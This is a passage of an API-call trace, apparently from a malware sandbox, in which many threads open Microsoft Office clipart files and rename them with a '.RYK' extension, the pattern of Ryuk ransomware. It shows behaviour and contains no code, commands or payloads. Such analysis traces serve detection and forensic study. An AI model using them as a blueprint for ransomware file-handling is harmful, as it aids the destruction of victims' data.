	[0238.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1842
	os_tid = 0x22c0

	[0238.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF", dwFileAttributes=0x80) returned 0
	[0238.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1843
	os_tid = 0x22c4

	[0238.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF", dwFileAttributes=0x80) returned 0
	[0238.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1844
	os_tid = 0x22c8

	[0238.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF", dwFileAttributes=0x80) returned 0
	[0238.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1845
	os_tid = 0x22cc

	[0238.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF", dwFileAttributes=0x80) returned 0
	[0238.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1846
	os_tid = 0x22d0

	[0238.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF", dwFileAttributes=0x80) returned 0
	[0238.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1847
	os_tid = 0x22d4

	[0238.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF", dwFileAttributes=0x80) returned 0
	[0238.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1848
	os_tid = 0x22d8

	[0238.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF", dwFileAttributes=0x80) returned 0
	[0238.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.412] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1849
	os_tid = 0x22dc

	[0238.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF", dwFileAttributes=0x80) returned 0
	[0238.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1850
	os_tid = 0x22e0

	[0238.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF", dwFileAttributes=0x80) returned 0
	[0238.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1851
	os_tid = 0x22e4

	[0238.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF", dwFileAttributes=0x80) returned 0
	[0238.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1852
	os_tid = 0x22e8

	[0238.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF", dwFileAttributes=0x80) returned 0
	[0238.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1853
	os_tid = 0x22ec

	[0238.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF", dwFileAttributes=0x80) returned 0
	[0238.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1854
	os_tid = 0x22f0

	[0238.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF", dwFileAttributes=0x80) returned 0
	[0238.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1855
	os_tid = 0x22f4

	[0238.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF", dwFileAttributes=0x80) returned 0
	[0238.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.525] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1856
	os_tid = 0x22f8

	[0238.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF", dwFileAttributes=0x80) returned 0
	[0238.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1857
	os_tid = 0x22fc

	[0238.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF", dwFileAttributes=0x80) returned 0
	[0238.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1858
	os_tid = 0x2300

	[0238.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF", dwFileAttributes=0x80) returned 0
	[0238.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1859
	os_tid = 0x2304

	[0238.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF", dwFileAttributes=0x80) returned 0
	[0238.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1860
	os_tid = 0x2308

	[0238.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF", dwFileAttributes=0x80) returned 0
	[0238.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.531] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1861
	os_tid = 0x230c

	[0238.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF", dwFileAttributes=0x80) returned 0
	[0238.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1862
	os_tid = 0x2310

	[0238.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF", dwFileAttributes=0x80) returned 0
	[0238.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.529] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1863
	os_tid = 0x2314

	[0238.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF", dwFileAttributes=0x80) returned 0
	[0238.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1864
	os_tid = 0x2318

	[0238.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF", dwFileAttributes=0x80) returned 0
	[0238.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1865
	os_tid = 0x231c

	[0238.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF", dwFileAttributes=0x80) returned 0
	[0238.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1866
	os_tid = 0x2320

	[0238.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF", dwFileAttributes=0x80) returned 0
	[0238.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.629] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1867
	os_tid = 0x2324

	[0238.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF", dwFileAttributes=0x80) returned 0
	[0238.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
